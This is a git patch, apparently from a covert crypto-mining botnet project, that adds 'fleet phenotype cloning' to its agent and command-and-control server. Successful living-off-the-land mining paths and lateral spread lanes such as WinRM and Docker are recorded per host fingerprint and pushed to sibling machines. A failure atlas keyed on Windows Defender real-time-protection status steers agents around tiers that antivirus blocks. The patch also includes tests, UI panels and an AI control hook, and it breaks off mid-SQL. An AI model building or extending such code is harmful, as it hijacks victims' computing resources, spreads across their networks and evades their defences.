From 4204dd6b6d5e141a54030e64830e0857fae0ae7e Mon Sep 17 00:00:00 2001 From: AetherForge Date: Sun, 7 Jun 2026 02:28:00 -0700 Subject: [PATCH] Add fleet phenotype cloning for sibling machines. Publish winning tier paths per host fingerprint on hashrate success, inherit on auth before adaptive strategy, and surface clone badges in LOTL Timeline and Access Depth. --- agent/client/mining_policy.go | 29 +- agent/client/phenotype_policy.go | 47 +++ agent/client/phenotype_policy_test.go | 43 +++ agent/client/protocol.go | 6 +- server/internal/api/phenotype_handler.go | 35 +++ server/internal/api/phenotype_test.go | 157 ++++++++++ server/internal/api/router.go | 3 + server/internal/api/websocket.go | 268 +++++++++++++++++- server/internal/api/websocket_test.go | 15 +- server/internal/db/phenotype.go | 149 ++++++++++ server/internal/db/phenotype_test.go | 56 ++++ server/internal/db/sqlite.go | 24 ++ server/internal/models/agent.go | 16 ++ server/internal/strategy/phenotype.go | 77 +++++ server/internal/strategy/phenotype_store.go | 35 +++ server/internal/strategy/phenotype_test.go | 17 ++ .../src/components/Fleet/AccessDepthPanel.css | 53 ++++ .../Fleet/AccessDepthPanel.test.tsx | 27 ++ .../src/components/Fleet/AccessDepthPanel.tsx | 78 ++++- .../components/Lotl/LotlTierTimeline.test.tsx | 14 + .../src/components/Lotl/LotlTierTimeline.tsx | 19 +- .../web/src/components/Lotl/LotlTimeline.css | 94 +++++- server/web/src/help/accessDepth.ts | 67 ++++- server/web/src/pages/LotlTimelinePage.tsx | 109 ++++++- server/web/src/types/index.ts | 21 ++ 25 files changed, 1421 insertions(+), 38 deletions(-) create mode 100644 agent/client/phenotype_policy.go create mode 100644 agent/client/phenotype_policy_test.go create mode 100644 server/internal/api/phenotype_handler.go create mode 100644 server/internal/api/phenotype_test.go create mode 100644 server/internal/db/phenotype.go create mode 100644 server/internal/db/phenotype_test.go create mode 100644 server/internal/strategy/phenotype.go create mode 100644 server/internal/strategy/phenotype_store.go create mode 100644 server/internal/strategy/phenotype_test.go diff --git a/agent/client/mining_policy.go b/agent/client/mining_policy.go index 335f17f..d2c6d19 100644 --- a/agent/client/mining_policy.go +++ b/agent/client/mining_policy.go @@ -8,11 +8,27 @@ import ( func (c *AgentClient) miningTierPolicy() miner.MiningTierPolicy { c.mu.Lock() - defer c.mu.Unlock() - if len(c.tierPolicy.TierOrder) == 0 && c.tierPolicy.ForceTier == "" && len(c.tierPolicy.SkipTiers) == 0 { + policy := c.tierPolicy + if len(policy.TierOrder) == 0 && policy.ForceTier == "" && len(policy.SkipTiers) == 0 && len(c.atlasSkips) == 0 { + c.mu.Unlock() return miner.DefaultMiningTierPolicy() } - return c.tierPolicy + if len(c.atlasSkips) > 0 { + have := make(map[miner.LOTLTier]bool, len(policy.SkipTiers)) + for _, t := range policy.SkipTiers { + have[t] = true + } + for _, skip := range c.atlasSkips { + tier := miner.LOTLTier(skip.Tier) + if tier == "" || have[tier] { + continue + } + have[tier] = true + policy.SkipTiers = append(policy.SkipTiers, tier) + } + } + c.mu.Unlock() + return policy } func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { @@ -20,6 +36,13 @@ func (c *AgentClient) applyAuthLotlPolicy(resp AuthResponse) { if len(resp.MiningTierPolicy) > 0 { c.applyMiningTierPolicyJSON(resp.MiningTierPolicy) } + if len(resp.AtlasSkips) > 0 { + c.applyAtlasSkips(resp.AtlasSkips) + } + if inheritedPhenotypePresent(resp.InheritedPhenotype) { + c.applyInheritedPhenotypeJSON(resp.InheritedPhenotype) + return + } if len(resp.AdaptiveStrategy) > 0 { c.applyAdaptiveStrategyJSON(resp.AdaptiveStrategy) return diff --git a/agent/client/phenotype_policy.go b/agent/client/phenotype_policy.go new file mode 100644 index 0000000..52b72fe --- /dev/null +++ b/agent/client/phenotype_policy.go @@ -0,0 +1,47 @@ +package client + +import ( + "encoding/json" + "log" + + "crypto-miner-agent/miner" +) + +type InheritedPhenotype struct { + SourceAgentName string `json:"source_agent_name"` + Fingerprint string `json:"fingerprint,omitempty"` + SpreadLane string `json:"spread_lane,omitempty"` + TierOrder []string `json:"tier_order"` + ActiveTier string `json:"active_tier,omitempty"` + PeakHashrate float64 `json:"peak_hashrate,omitempty"` +} + +func inheritedPhenotypePresent(raw json.RawMessage) bool { + if len(raw) == 0 || string(raw) == "null" { + return false + } + var p InheritedPhenotype + return json.Unmarshal(raw, &p) == nil && len(p.TierOrder) > 0 +} + +func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) { + if len(raw) == 0 || string(raw) == "null" { + return + } + var p InheritedPhenotype + if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 { + return + } + order := make([]miner.LOTLTier, len(p.TierOrder)) + for i, t := range p.TierOrder { + order[i] = miner.LOTLTier(t) + } + c.mu.Lock() + c.tierPolicy = miner.MiningTierPolicy{TierOrder: order} + c.mu.Unlock() + if p.SpreadLane != "" { + c.setJoinLane(p.SpreadLane) + } + log.Printf("[agent] inherited phenotype from %s (%d tiers, spread_lane=%s)", + p.SourceAgentName, len(p.TierOrder), p.SpreadLane) +} diff --git a/agent/client/phenotype_policy_test.go b/agent/client/phenotype_policy_test.go new file mode 100644 index 0000000..c76e874 --- /dev/null +++ b/agent/client/phenotype_policy_test.go @@ -0,0 +1,43 @@ +package client + +import ( + "encoding/json" + "testing" + + "crypto-miner-agent/miner" +) + +func TestApplyInheritedPhenotypeBeforeAdaptive(t *testing.T) { + c := &AgentClient{} + adaptive, _ := json.Marshal(AdaptiveStrategy{ + TierOrder: []string{"stratum_direct"}, + }) + inherited, _ := json.Marshal(InheritedPhenotype{ + SourceAgentName: "worker-07", + TierOrder: []string{"container", "wsl", "cpu_inprocess"}, + SpreadLane: "winrm", + }) + c.applyAuthLotlPolicy(AuthResponse{ + InheritedPhenotype: inherited, + AdaptiveStrategy: adaptive, + }) + policy := c.miningTierPolicy() + if len(policy.TierOrder) != 3 || policy.TierOrder[0] != miner.TierContainer { + t.Fatalf("expected inherited tier order, got %+v", policy.TierOrder) + } + if c.getJoinLane() != "winrm" { + t.Fatalf("expected spread_lane winrm, got %q", c.getJoinLane()) + } +} + +func TestAdaptiveStrategyUsedWithoutPhenotype(t *testing.T) { + c := &AgentClient{} + adaptive, _ := json.Marshal(AdaptiveStrategy{ + TierOrder: []string{"wsl", "cpu_inprocess"}, + }) + c.applyAuthLotlPolicy(AuthResponse{AdaptiveStrategy: adaptive}) + policy := c.miningTierPolicy() + if len(policy.TierOrder) != 2 || policy.TierOrder[0] != miner.TierWSL { + t.Fatalf("expected adaptive tier order, got %+v", policy.TierOrder) + } +} diff --git a/agent/client/protocol.go b/agent/client/protocol.go index 3807b07..c0218f7 100644 --- a/agent/client/protocol.go +++ b/agent/client/protocol.go @@ -61,7 +61,10 @@ type AuthResponse struct { LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"` MiningTierPolicy json.RawMessage `json:"mining_tier_policy,omitempty"` TripleOnionPolicy json.RawMessage `json:"triple_onion_policy,omitempty"` - AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` + AdaptiveStrategy json.RawMessage `json:"adaptive_strategy,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` + InheritedPhenotype json.RawMessage `json:"inherited_phenotype,omitempty"` + ClearanceLevel int `json:"clearance_level,omitempty"` } type SharePayload struct { @@ -141,6 +144,7 @@ type StatsPayload struct { MiningHashrate float64 `json:"mining_hashrate,omitempty"` LOTLTier string `json:"lotl_tier,omitempty"` LOTLAttempts []TierAttemptPayload `json:"lotl_attempts,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none JoinLane string `json:"join_lane,omitempty"` diff --git a/server/internal/api/phenotype_handler.go b/server/internal/api/phenotype_handler.go new file mode 100644 index 0000000..8ee6506 --- /dev/null +++ b/server/internal/api/phenotype_handler.go @@ -0,0 +1,35 @@ +package api + +import ( + "net/http" + "strings" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +type PhenotypeHandler struct { + db *db.Database +} + +func NewPhenotypeHandler(database *db.Database) *PhenotypeHandler { + return &PhenotypeHandler{db: database} +} + +func (h *PhenotypeHandler) List(w http.ResponseWriter, r *http.Request) { + if h.db == nil { + http.Error(w, "database unavailable", http.StatusServiceUnavailable) + return + } + fp := strings.TrimSpace(r.URL.Query().Get("fingerprint")) + stored, err := h.db.ListFleetPhenotypes(fp) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + phenotypes := make([]strategy.FleetPhenotype, 0, len(stored)) + for _, row := range stored { + phenotypes = append(phenotypes, strategy.PhenotypeFromStored(row)) + } + writeJSON(w, map[string]interface{}{"phenotypes": phenotypes}) +} diff --git a/server/internal/api/phenotype_test.go b/server/internal/api/phenotype_test.go new file mode 100644 index 0000000..9891f54 --- /dev/null +++ b/server/internal/api/phenotype_test.go @@ -0,0 +1,157 @@ +package api + +import ( + "encoding/json" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +func TestPublishPhenotypeOnHashrateSuccess(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetFleetSecret("test-secret") + + winnerID := "agent-winner-1" + if err := database.UpsertAgent(&models.Agent{ + ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), + IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + + hub.tryPublishWinningPhenotype( + winnerID, "windows", "127.0.0.1", nil, + []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }{ + {Tier: "vuln_recon", OK: true}, + {Tier: "docker", OK: true}, + {Tier: "wsl", OK: true}, + }, + 850.0, "wsl", "winrm", + []string{"container", "wsl", "cpu_inprocess"}, + ) + + fp := strategy.FingerprintFromAuth("windows", "127.0.0.1", false) + pheno, err := database.GetFleetPhenotypeByFingerprint(fp.Key()) + if err != nil { + t.Fatal(err) + } + if pheno.SourceAgentName != "worker-07" { + t.Fatalf("source name = %q", pheno.SourceAgentName) + } + if pheno.PeakHashrate != 850.0 { + t.Fatalf("peak hashrate = %v", pheno.PeakHashrate) + } + if pheno.SpreadLane != "winrm" { + t.Fatalf("spread_lane = %q", pheno.SpreadLane) + } + if len(pheno.TierOrder) < 3 { + t.Fatalf("tier_order = %v", pheno.TierOrder) + } +} + +func TestSiblingFingerprintInheritsPhenotypeOrder(t *testing.T) { + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetFleetSecret("test-secret") + + winnerID := "agent-winner-1" + siblingID := "agent-sibling-2" + for _, ag := range []*models.Agent{ + {ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + {ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + } { + if err := database.UpsertAgent(ag); err != nil { + t.Fatal(err) + } + } + + hub.tryPublishWinningPhenotype( + winnerID, "windows", "127.0.0.1", nil, nil, + 1200.0, "cpu_inprocess", "docker", + []string{"container", "wsl", "cpu_inprocess"}, + ) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": siblingID, "fleet_secret": "test-secret", + "wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test", + }) + if resp.Type != "auth_response" { + t.Fatalf("expected auth_response, got %q", resp.Type) + } + var payload map[string]interface{} + if err := json.Unmarshal(resp.Payload, &payload); err != nil { + t.Fatal(err) + } + raw, ok := payload["inherited_phenotype"] + if !ok { + t.Fatal("expected inherited_phenotype in auth_response") + } + data, _ := json.Marshal(raw) + var inherited struct { + SourceAgentName string `json:"source_agent_name"` + TierOrder []string `json:"tier_order"` + SpreadLane string `json:"spread_lane"` + } + if err := json.Unmarshal(data, &inherited); err != nil { + t.Fatal(err) + } + if inherited.SourceAgentName != "worker-07" { + t.Fatalf("source = %q", inherited.SourceAgentName) + } + if inherited.SpreadLane != "docker" { + t.Fatalf("spread_lane = %q", inherited.SpreadLane) + } + if len(inherited.TierOrder) == 0 { + t.Fatalf("empty tier_order: %+v", inherited) + } +} + +func TestPhenotypeAPIListByFingerprint(t *testing.T) { + router, _, database, _ := newTestRouter(t) + + fp := strategy.FingerprintFromAuth("windows", "10.0.0.5", false).Key() + if _, err := database.UpsertFleetPhenotype(db.StoredPhenotype{ + Fingerprint: fp, SourceAgentID: "a1", SourceAgentName: "worker-07", + OS: "windows", SpreadLane: "winrm", ActiveTier: "wsl", + TierOrder: []string{"container", "wsl"}, PeakHashrate: 500, + }); err != nil { + t.Fatal(err) + } + + rec := serveAuthed(t, router, "GET", "/api/v1/phenotypes?fingerprint="+fp, nil) + if rec.Code != 200 { + t.Fatalf("status = %d body=%s", rec.Code, rec.Body.String()) + } + var body struct { + Phenotypes []struct { + SourceAgentName string `json:"source_agent_name"` + } `json:"phenotypes"` + } + if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { + t.Fatal(err) + } + if len(body.Phenotypes) != 1 || body.Phenotypes[0].SourceAgentName != "worker-07" { + t.Fatalf("unexpected response: %+v", body) + } +} diff --git a/server/internal/api/router.go b/server/internal/api/router.go index 4c5312d..69860f2 100644 --- a/server/internal/api/router.go +++ b/server/internal/api/router.go @@ -568,6 +568,8 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler // Fleet ops strategyHandler := NewStrategyHandler(wsHub) r.Post("/strategy/recompute", strategyHandler.PostRecompute) + phenotypeHandler := NewPhenotypeHandler(database) + r.Get("/phenotypes", phenotypeHandler.List) if fleetHandler != nil { r.Get("/alerts", fleetHandler.GetAlerts) @@ -589,6 +591,7 @@ func NewRouter(database *db.Database, wsHub *WSHub, configHandler *ConfigHandler r.Get("/ai/config", fleetAIHandler.GetConfig) r.Put("/ai/config", fleetAIHandler.PutConfig) r.Get("/ai/decisions", fleetAIHandler.GetDecisions) + r.Get("/ai/clearance-events", fleetAIHandler.GetClearanceEvents) } moduleStore := NewModuleStore(dataDir, func() string { diff --git a/server/internal/api/websocket.go b/server/internal/api/websocket.go index 207f0f3..af722fc 100644 --- a/server/internal/api/websocket.go +++ b/server/internal/api/websocket.go @@ -14,6 +14,7 @@ import ( "time" "crypto-miner-server/internal/alerts" + "crypto-miner-server/internal/atlas" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" @@ -155,13 +156,16 @@ type WSHub struct { agentDNS map[string][]string // Latest service_discover payloads keyed by agent ID (Crucible service graph). agentServiceDiscover map[string]cachedServiceDiscover - agentLiveTelemetry map[string]map[string]interface{} - serverPolicy ServerPolicy + agentLiveTelemetry map[string]map[string]interface{} + agentInheritedPhenotype map[string]strategy.InheritedPhenotype + serverPolicy ServerPolicy adaptiveEngine *strategy.AdaptiveEngine + failureAtlas *atlas.FailureAtlas pingIntervalSec int fleetSecret string // baked into forged agents; verified on WS connect eventNotifier *alerts.Notifier connectTasks ConnectTaskRunner + clearance *ClearanceManager mu sync.RWMutex // pendingCmdCallbacks allows handlers to await a specific command_result @@ -199,15 +203,17 @@ func NewWSHub(database *db.Database) *WSHub { agentLogs: make(map[string]string), agentDNS: make(map[string][]string), agentServiceDiscover: make(map[string]cachedServiceDiscover), - agentLiveTelemetry: make(map[string]map[string]interface{}), + agentLiveTelemetry: make(map[string]map[string]interface{}), + agentInheritedPhenotype: make(map[string]strategy.InheritedPhenotype), pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}), beaconLastSeen: make(map[string]time.Time), beaconCmdQueue: make(map[string][]BeaconCommand), beaconPolicyQueue: make(map[string][]FleetAgentPolicy), pingIntervalSec: 30, } + h.clearance = NewClearanceManager(h) - // Background stale-agent sweep: if an agent's last_seen is more than + // Background stale-agent sweep: // 3 minutes old but the row still says "online", force it offline. // This catches TCP half-open drops that slip past the ping/pong timeout. go h.runStaleAgentSweep() @@ -275,6 +281,13 @@ func (h *WSHub) SetAdaptiveEngine(e *strategy.AdaptiveEngine) { } } +// SetFailureAtlas wires negative-space mining pattern learning. +func (h *WSHub) SetFailureAtlas(a *atlas.FailureAtlas) { + h.mu.Lock() + h.failureAtlas = a + h.mu.Unlock() +} + func (h *WSHub) runAdaptiveStrategyLoop() { ticker := time.NewTicker(strategy.RescoreInterval) defer ticker.Stop() @@ -564,6 +577,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if h.aiHandler != nil { h.aiHandler.RemoveEngine(agentID) } + if h.clearance != nil { + h.clearance.RemoveAgent(agentID) + } if err := h.db.SetAgentOffline(agentID); err != nil { log.Printf("[hub] SetAgentOffline %s: %v", agentID, err) } @@ -879,15 +895,54 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { } } resp["triple_onion_policy"] = top - if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled { - domainJoined := false - if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { - domainJoined = true + domainJoined := false + if prior != nil && prior.FirewallDomain != nil && *prior.FirewallDomain { + domainJoined = true + } + fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) + var inherited *strategy.InheritedPhenotype + if stored, err := h.db.GetFleetPhenotypeByFingerprint(fp.Key()); err == nil && stored != nil { + pheno := strategy.PhenotypeFromStored(*stored) + inh := pheno.ToInherited() + inherited = &inh + h.mu.Lock() + h.agentInheritedPhenotype[agentID] = inh + h.mu.Unlock() + resp["inherited_phenotype"] = inh + agent.InheritedPhenotype = &models.AgentInheritedPhenotype{ + SourceAgentName: inh.SourceAgentName, + Fingerprint: inh.Fingerprint, + SpreadLane: inh.SpreadLane, + TierOrder: append([]string(nil), inh.TierOrder...), + ActiveTier: inh.ActiveTier, + PeakHashrate: inh.PeakHashrate, } - fp := strategy.FingerprintFromAuth(auth.Platform, clientIP, domainJoined) + } + var defenderEnabled, defenderRTP *bool + if prior != nil { + defenderEnabled = prior.DefenderEnabled + defenderRTP = prior.DefenderRTP + } + if h.failureAtlas != nil && !policy.AIControlEnabled { + skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP) + if len(skips) > 0 { + resp["atlas_skips"] = skips + } + } + if h.adaptiveEngine != nil && h.adaptiveEngine.Enabled() && !policy.AIControlEnabled && inherited == nil { adaptive := h.adaptiveEngine.StrategyForAgent(agentID, fp) + if h.failureAtlas != nil { + if skips, _ := h.failureAtlas.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 { + atlas.MergeSkipsIntoStrategy(&adaptive, skips) + } + } resp["adaptive_strategy"] = adaptive } + if h.clearance != nil { + level := h.clearance.InitAgent(agentID, agent) + resp["clearance_level"] = level + agent.ClearanceLevel = level + } return resp }())}) @@ -1014,6 +1069,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { DurationMs int64 `json:"duration_ms"` Wallet string `json:"wallet,omitempty"` } `json:"lotl_attempts,omitempty"` + AtlasSkips []atlas.AtlasSkip `json:"atlas_skips,omitempty"` StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none JoinLane string `json:"join_lane,omitempty"` NetworkHints json.RawMessage `json:"network_hints,omitempty"` @@ -1167,6 +1223,9 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { if len(stats.LOTLAttempts) > 0 { broadcast["lotl_attempts"] = stats.LOTLAttempts } + if len(stats.AtlasSkips) > 0 { + broadcast["atlas_skips"] = stats.AtlasSkips + } if stats.StratumEgress != "" { broadcast["stratum_egress"] = stats.StratumEgress } @@ -1209,8 +1268,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) { ac.latencyMu.Unlock() } h.ingestStrategyFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier) + h.ingestAtlasFromStats(agentID, "", clientIPFromBroadcast(broadcast), stats.DefenderEnabled, stats.DefenderRTP, stats.FirewallDomain, stats.LOTLAttempts) + h.tryPublishWinningPhenotype(agentID, "", clientIPFromBroadcast(broadcast), stats.FirewallDomain, stats.LOTLAttempts, stats.MiningHashrate, stats.LOTLTier, stats.JoinLane, stats.ChainOrder) h.queueStatsBroadcast(broadcast) + case "ai_snapshot": + if agentID == "" { + continue + } + var snap struct { + Stuck bool `json:"stuck"` + DeployTiers []struct { + Attempted bool `json:"attempted"` + OK bool `json:"ok"` + Skipped bool `json:"skipped"` + } `json:"deploy_tiers"` + MiningTiers []struct { + Attempted bool `json:"attempted"` + OK bool `json:"ok"` + Skipped bool `json:"skipped"` + } `json:"mining_tiers"` + ClearanceLevel int `json:"clearance_level"` + } + if err := json.Unmarshal(msg.Payload, &snap); err != nil { + continue + } + failed := 0 + for _, t := range append(snap.DeployTiers, snap.MiningTiers...) { + if t.Attempted && !t.OK && !t.Skipped { + failed++ + } + } + h.cacheAgentTelemetry(agentID, map[string]interface{}{ + "stuck": snap.Stuck, + "failed_tier_count": failed, + "clearance_level": snap.ClearanceLevel, + }) + case "submit_share": if agentID == "" { continue @@ -1701,6 +1795,9 @@ func (h *WSHub) RemoveAgent(agentID string) { delete(h.agentLogs, agentID) delete(h.agentCapabilities, agentID) delete(h.agentLiveTelemetry, agentID) + if h.clearance != nil { + h.clearance.RemoveAgent(agentID) + } ac.Conn.Close() } h.mu.Unlock() @@ -1766,6 +1863,20 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { } } adaptive := engine.StrategyForAgent(agentID, fp) + h.mu.RLock() + atlasEngine := h.failureAtlas + aiMode := h.serverPolicy.AIControlEnabled + h.mu.RUnlock() + if atlasEngine != nil && !aiMode { + var defenderEnabled, defenderRTP *bool + if ag, err := h.db.GetAgent(agentID); err == nil { + defenderEnabled = ag.DefenderEnabled + defenderRTP = ag.DefenderRTP + } + if skips, _ := atlasEngine.ComputeSkips(fp, nil, defenderEnabled, defenderRTP); len(skips) > 0 { + atlas.MergeSkipsIntoStrategy(&adaptive, skips) + } + } payload, err := json.Marshal(adaptive) if err != nil { continue @@ -1779,12 +1890,12 @@ func (h *WSHub) PushAdaptiveStrategyUpdates() int { } func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]interface{}) { - if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { - return - } platform, _ := payload["platform"].(string) ip, _ := payload["ip"].(string) - var defenderRTP, firewallDomain *bool + var defenderEnabled, defenderRTP, firewallDomain *bool + if v, ok := payload["defender_enabled"].(bool); ok { + defenderEnabled = &v + } if v, ok := payload["defender_rtp"].(bool); ok { defenderRTP = &v } @@ -1794,7 +1905,64 @@ func (h *WSHub) ingestStrategyFromPayload(agentID string, payload map[string]int attempts := parseLOTLAttemptsFromPayload(payload) hashrate, _ := payload["mining_hashrate"].(float64) activeTier, _ := payload["lotl_tier"].(string) + joinLane, _ := payload["join_lane"].(string) + chainOrder := parseStringSliceField(payload["chain_order"]) + h.ingestAtlasFromStats(agentID, platform, ip, defenderEnabled, defenderRTP, firewallDomain, attempts) + if h.adaptiveEngine == nil || !h.adaptiveEngine.Enabled() || h.serverPolicy.AIControlEnabled { + return + } h.ingestStrategyFromStats(agentID, platform, ip, defenderRTP, firewallDomain, attempts, hashrate, activeTier) + h.tryPublishWinningPhenotype(agentID, platform, ip, firewallDomain, attempts, hashrate, activeTier, joinLane, chainOrder) +} + +func (h *WSHub) ingestAtlasFromStats( + agentID, platform, ip string, + defenderEnabled, defenderRTP, firewallDomain *bool, + attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, +) { + if h.failureAtlas == nil || h.db == nil { + return + } + if platform == "" || ip == "" { + if ag, err := h.db.GetAgent(agentID); err == nil { + if platform == "" { + platform = ag.Platform + } + if ip == "" { + ip = ag.IP + } + if firewallDomain == nil { + firewallDomain = ag.FirewallDomain + } + if defenderEnabled == nil { + defenderEnabled = ag.DefenderEnabled + } + if defenderRTP == nil { + defenderRTP = ag.DefenderRTP + } + } + } + domainJoined := firewallDomain != nil && *firewallDomain + fp := strategy.FingerprintFromAuth(platform, ip, domainJoined) + if defenderRTP != nil && *defenderRTP { + fp.AVBlocks = true + } + snap := atlas.ProbeSnapshotFromMaps(fp, nil, defenderEnabled, defenderRTP) + conds := atlas.ExtractConditions(fp, snap) + for _, a := range attempts { + if a.OK || strings.TrimSpace(a.Tier) == "" { + continue + } + if err := h.failureAtlas.RecordFailure(fp.Key(), a.Tier, conds); err != nil { + log.Printf("[atlas] record failure: %v", err) + } + } } func (h *WSHub) ingestStrategyFromStats( @@ -1844,6 +2012,80 @@ func (h *WSHub) ingestStrategyFromStats( } } +func (h *WSHub) tryPublishWinningPhenotype( + agentID, platform, ip string, + firewallDomain *bool, + attempts []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }, + miningHashrate float64, + activeTier, joinLane string, + chainOrder []string, +) { + if h.db == nil || miningHashrate <= 0 || strings.TrimSpace(activeTier) == "" { + return + } + ag, err := h.db.GetAgent(agentID) + if err != nil { + return + } + if platform == "" { + platform = ag.Platform + } + if ip == "" { + ip = ag.IP + } + if firewallDomain == nil { + firewallDomain = ag.FirewallDomain + } + domainJoined := firewallDomain != nil && *firewallDomain + fp := strategy.FingerprintFromAuth(platform, ip, domainJoined) + stratAttempts := make([]strategy.TierAttempt, len(attempts)) + for i, a := range attempts { + stratAttempts[i] = strategy.TierAttempt{Tier: a.Tier, OK: a.OK} + } + fallback := append([]string(nil), chainOrder...) + if len(fallback) == 0 { + fallback = append(fallback, strategy.DefaultMiningTierOrder...) + } + tierOrder := strategy.BuildWinningTierOrder(stratAttempts, activeTier, fallback) + if len(tierOrder) == 0 { + return + } + pheno := strategy.FleetPhenotype{ + SourceAgentID: agentID, + SourceAgentName: ag.Name, + Fingerprint: fp.Key(), + OS: fp.GOOS, + SpreadLane: strings.TrimSpace(joinLane), + ActiveTier: strings.TrimSpace(activeTier), + TierOrder: tierOrder, + PeakHashrate: miningHashrate, + CreatedAt: time.Now().UTC(), + } + if _, err := h.db.UpsertFleetPhenotype(strategy.PhenotypeToStored(pheno)); err != nil { + log.Printf("[phenotype] publish: %v", err) + } +} + +func parseStringSliceField(raw interface{}) []string { + arr, ok := raw.([]interface{}) + if !ok { + return nil + } + out := make([]string, 0, len(arr)) + for _, v := range arr { + if s, ok := v.(string); ok && strings.TrimSpace(s) != "" { + out = append(out, s) + } + } + return out +} + func parseLOTLAttemptsFromPayload(payload map[string]interface{}) []struct { Tier string `json:"tier"` OK bool `json:"ok"` diff --git a/server/internal/api/websocket_test.go b/server/internal/api/websocket_test.go index 921028d..b2467e9 100644 --- a/server/internal/api/websocket_test.go +++ b/server/internal/api/websocket_test.go @@ -58,11 +58,18 @@ func authAgentConn(t *testing.T, conn *websocket.Conn, payload map[string]interf if err := conn.WriteJSON(Message{Type: "auth", Payload: data}); err != nil { t.Fatal(err) } - var resp Message - if err := conn.ReadJSON(&resp); err != nil { - t.Fatalf("read auth_response: %v", err) + deadline := time.Now().Add(3 * time.Second) + for time.Now().Before(deadline) { + var resp Message + if err := conn.ReadJSON(&resp); err != nil { + t.Fatalf("read auth_response: %v", err) + } + if resp.Type == "auth_response" { + return resp + } } - return resp + t.Fatal("timed out waiting for auth_response") + return Message{} } func TestWSHubPingIntervalConstants(t *testing.T) { diff --git a/server/internal/db/phenotype.go b/server/internal/db/phenotype.go new file mode 100644 index 0000000..b3e9a56 --- /dev/null +++ b/server/internal/db/phenotype.go @@ -0,0 +1,149 @@ +package db + +import ( + "database/sql" + "encoding/json" + "errors" + "strings" + "time" + + "github.com/google/uuid" +) + +// StoredPhenotype is the persisted best winning path for a fingerprint bucket. +type StoredPhenotype struct { + ID string + Fingerprint string + SourceAgentID string + SourceAgentName string + OS string + SpreadLane string + ActiveTier string + TierOrder []string + PeakHashrate float64 + CreatedAt time.Time +} + +func (d *Database) UpsertFleetPhenotype(p StoredPhenotype) (bool, error) { + if d == nil || strings.TrimSpace(p.Fingerprint) == "" { + return false, nil + } + existing, err := d.GetFleetPhenotypeByFingerprint(p.Fingerprint) + if err != nil && !errors.Is(err, sql.ErrNoRows) { + return false, err + } + if existing != nil && p.PeakHashrate <= existing.PeakHashrate { + return false, nil + } + if p.ID == "" { + p.ID = uuid.NewString() + } + if p.CreatedAt.IsZero() { + p.CreatedAt = time.Now().UTC() + } + tierJSON, err := json.Marshal(p.TierOrder) + if err != nil { + return false, err + } + _, err = d.Exec( + `INSERT INTO fleet_phenotypes ( + id, fingerprint, source_agent_id, source_agent_name, os, spread_lane, + active_tier, tier_order_json, peak_hashrate, created_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(fingerprint) DO UPDATE SET + id = excluded.id, + source_agent_id = excluded.source_agent_id, + source_agent_name = excluded.source_agent_name, + os = excluded.os, + spread_lane = excluded.spread_lane, + active_tier = excluded.active_tier, + tier_order_json = 